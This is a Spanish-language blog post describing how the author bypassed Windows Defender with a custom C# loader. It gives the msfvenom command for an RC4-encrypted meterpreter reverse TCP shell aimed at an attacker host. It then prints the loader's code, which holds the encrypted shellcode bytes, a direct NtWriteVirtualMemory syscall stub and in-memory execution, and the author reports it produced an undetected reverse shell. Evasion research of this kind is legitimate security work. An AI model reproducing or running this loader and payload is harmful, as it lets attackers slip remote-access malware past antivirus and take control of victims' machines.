Bypass Microsoft Windows Defender usando Syscall

 

En mayo de este año, en una de mis investigaciones logré evadir los mecanismos de detección de Microsoft Windows Defender, con el objetivo de conocer y poner en práctica algunas técnicas utilizadas por atacantes en sus piezas de malware.

Cuando se utilizan códigos propios, al no ser conocidas sus firmas y comportamientos, es más fácil lograr evadir las soluciones de seguridad, así que decidí utilizar algo conocido, que fuera detectado por la mayoría de antivirus, para así poder evidenciar realmente una evasión o bypass de la solución.

Utilicé una shell reversa de meterpreter, generada por la herramienta msfvenom.


vherrera@lab:/bypass/windefender# msfvenom --encrypt rc4 --encrypt-key S3cr3t -p windows/x64/meterpreter/reverse_tcp LHOST=[IP-Atacante] LPORT=443 -f csharp

La prueba se realizó en un Windows 10 Professional x64 (1909) usando como lenguaje de programación C#, para aprovechar el compilador que viene incluido en el sistema operativo "csc.exe".

En el comando msfvenom se utilizó "--encrypt", para encriptar el payload con el algoritmo RC4 utilizando una llave, si no se encripta, es muy fácil para los antivirus detectar un payload de meterpreter.

El encriptar el payload también había sido una técnica testeada con éxito por el investigador Damon Mohammadbagher

https://medium.com/@DamonMohammadbagher/bypass-all-anti-viruses-by-encrypted-payloads-with-c-278654f633f0

Lo que sigue en la construcción del loader, es la clásica inyección de código a un proceso, pero esta vez la shellcode será inyectada en el mismo proceso del loader.

Para la inyección más común se utilizan las llamadas a la API de Windows:

  • OpenProcess
  • VirtualAllocEx
  • WriteProcessMemory
  • CreateRemoteThread
En este ejercicio no se usará OpenProcess, porque no inyectaremos la shellcode en otro proceso, con eso también descartamos la llamada a CreateRemoteThread, que sirve para crear hilos en otros procesos. Por lo tanto sólo nos va quedando VirtualAllocEx y WriteProcessMemory.

Los pasos serían: 

  1. Reservar memoria para el payload
  2. Desencriptar el payload en memoria (en tiempo de ejecución) con nuestra llave
  3. Escribir el payload desencriptado en la memoria reservada
  4. Ejecutar el código directamente en memoria

Como lo más crítico para la detección sería escribir en la memoria (usando WriteProcessMemory), ya que ahí se copia el payload desencriptado, decidí que esa llamada no sería usando la API sino una Syscall.

Me basé en el ejemplo del foro "guidedhacking"


Luego de compilar usando el compilador "csc.exe", el loader funcionó sin ser detectado, generando una shell reversa a un equipo remoto y con la herramienta meterpreter.

Así quedó la parte principal del loader:



var localProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
          
byte[] encrypted = new byte[510] {
    0x88,0xa1,0x26,0x40,0xb5,0x38,0xd1,0xcc,0xf0,0x6f,0x95,0x33,0x33,0x24,0x60,
    0x97,0xfb,0x45,0x88,0xe2,0x99,0xa1,0xce,0xdb,0xd0,0x39,0x07,0x97,0x0d,0xe9,
    0x6a,0x1a,0x81,0x59,0x13,0x21,0xf4,0x12,0x0c,0xb0,0xa5,0x3f,0xf8,0xd7,0xb0,
    0x04,0x22,0x56,0xbb,0xba,0x7f,0xad,0x63,0xdc,0x13,0xfc,0x34,0x48,0x6d,0x98,
    0xf6,0xca,0xc0,0xc0,0xe6,0xab,0xc1,0x41,0x61,0x52,0x96,0xcf,0x6a,0x4e,0x1b,
    0x5c,0xee,0x41,0x46,0xde,0x6e,0x55,0x67,0xed,0x28,0xad,0x20,0x9f,0xbf,0x79,
    0x6c,0xb1,0x78,0x89,0xd0,0xb9,0xe0,0x24,0xf5,0xd9,0xb6,0xd5,0x17,0x3e,0x5e,
    0xf1,0xaf,0x22,0x3f,0xbc,0x39,0x0e,0xdd,0xb4,0x14,0x14,0x87,0x05,0xb3,0xe3,
    0x1c,0xdc,0xf7,0x3f,0xc2,0xd0,0x5c,0x8a,0x73,0xca,0x4c,0x68,0xc0,0x80,0xe7,
    0x45,0x11,0x73,0xe1,0x6b,0x52,0x7d,0xad,0xfd,0xe3,0xae,0x0a,0x00,0xe8,0x1f,
    0x4b,0x1f,0x37,0xab,0x28,0x15,0x51,0x88,0x32,0x79,0x1c,0x5b,0x03,0xd1,0x5d,
    0x57,0x88,0x28,0x20,0x13,0x09,0xb1,0xe8,0xe4,0x55,0x63,0xc9,0x7b,0x50,0x31,
    0x6f,0x71,0x09,0xa0,0x67,0xfb,0xa8,0x90,0x77,0xdc,0x6a,0x7c,0x64,0x5e,0x2c,
    0x64,0x3b,0xfc,0x4b,0xde,0x57,0x16,0xe0,0xb1,0xec,0x5a,0x03,0x96,0x87,0x07,
    0xd9,0x39,0xae,0x54,0x71,0x56,0xed,0x33,0xca,0x9b,0x3d,0x91,0x38,0x3e,0x49,
    0x72,0xbb,0xd0,0x85,0xeb,0x7e,0x89,0x54,0xf1,0x1f,0x40,0x3a,0x11,0xf2,0x4a,
    0x9e,0x98,0xd6,0x60,0x26,0x33,0x0d,0x87,0xf0,0x72,0x5d,0xdf,0x69,0xaa,0x83,
    0x3e,0xcf,0xbe,0xe6,0x43,0x90,0x87,0x2a,0xd4,0xfd,0x93,0x00,0xed,0x34,0x0e,
    0x22,0xde,0x30,0xbc,0xc3,0xa4,0x6a,0x2b,0xfe,0xea,0xe3,0x7a,0x74,0x58,0x68,
    0x52,0x70,0x00,0x11,0x9a,0xf6,0x0b,0x83,0xa6,0xa9,0xff,0x4c,0x25,0xcf,0x6c,
    0x77,0x95,0x08,0xff,0x1f,0xa4,0xb8,0x31,0x5c,0x4b,0x6d,0x01,0x40,0x69,0x66,
    0x0f,0x93,0xed,0xa4,0xf7,0x63,0x25,0x7a,0xf6,0xec,0x8e,0x1b,0x02,0x2b,0x6e,
    0x83,0x9e,0x9b,0x7f,0xde,0xab,0x18,0x14,0xdd,0xbc,0xd2,0xe7,0xdf,0x8b,0x13,
    0x78,0xa3,0x38,0xe7,0x46,0x44,0xcd,0xab,0x40,0x4f,0x3d,0xac,0xc0,0x5b,0xd2,
    0x0b,0xb0,0x72,0x54,0xdb,0x1e,0xf4,0x81,0x14,0xcc,0x65,0xd3,0x78,0x7d,0x57,
    0xb9,0x59,0xaa,0xd7,0x87,0x40,0xc9,0x7a,0xfe,0x68,0x99,0x1a,0xfc,0x4b,0xea,
    0x22,0x4f,0xcb,0x70,0xff,0xfc,0xc2,0xc7,0x47,0x47,0x5e,0x7c,0xbe,0x34,0x6f,
    0xdd,0x6d,0xf0,0x74,0xa4,0xa8,0x39,0xc1,0x2f,0x41,0xbf,0xa6,0x63,0x65,0x90,
    0x3d,0xf3,0xd8,0x83,0xbf,0x9c,0x7d,0x3d,0xb9,0x70,0x7e,0x5f,0x99,0x06,0x97,
    0xae,0xbc,0xf3,0x1a,0x47,0x95,0xe7,0x7f,0xcc,0x20,0xca,0x77,0x9f,0x34,0xe4,
    0x48,0x01,0x44,0x81,0x77,0x05,0xf1,0xb2,0x95,0xbd,0x36,0xf2,0xc8,0xde,0xc4,
    0x57,0x34,0x90,0x9e,0xf8,0x23,0xd2,0xad,0x91,0x79,0x21,0xf5,0x26,0x9e,0xa3,
    0xdb,0x72,0x02,0xda,0xd8,0xbe,0x2b,0xc7,0xa9,0x6b,0x3d,0x25,0x54,0xad,0x67,
    0x8c,0x08,0x3f,0x07,0x0d,0x44,0xfd,0x11,0x8e,0x65,0xb4,0x53,0x79,0x52,0x49 

};

var shellcode = new byte[]
    {
        0x4C, 0x8B, 0xD1,               // mov r10, rcx
        0xB8, 0x00, 0x00, 0x00, 0x00,   // mov eax, 0x00 (syscall identifier)
        0x0F, 0x05,                     // syscall
        0xC3                            // ret
    };

var syscallIdentifierBytes = BitConverter.GetBytes(0x3A);       // NtWriteVirtualMemory
Buffer.BlockCopy(syscallIdentifierBytes, 0, shellcode, 4, sizeof(uint));
var shellCodePtr = VirtualAllocEx(localProcess, IntPtr.Zero, shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);

if (shellCodePtr == IntPtr.Zero)
{
    throw new Exception("VirtualAlloc did not return a valid address" + Marshal.GetLastWin32Error().ToString());
}
var syscallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodePtr, typeof(NtWriteVirtualMemory));
Marshal.Copy(shellcode, 0, shellCodePtr, shellcode.Length);

byte[] key = Encoding.UTF8.GetBytes("S3cr3t");

byte[] dec = EncryptOutput(key, encrypted).ToArray();

var damn = VirtualAllocEx(localProcess, IntPtr.Zero, dec.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);

var ret = syscallDelegate.DynamicInvoke(localProcess, damn, dec, (UInt32)dec.Length, IntPtr.Zero);

WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(damn, typeof(WindowsRun));
r();
            
            

Hasta el próximo bypass!



Comentarios

Entradas populares de este blog

Desempaquetando Themida 2 (unpacking windows binary) - Análisis de Malware

Ocultando la web shell como una imagen (Apache + PHP)

Evasión de antivirus modernos usando Process Injection - MITRE T1055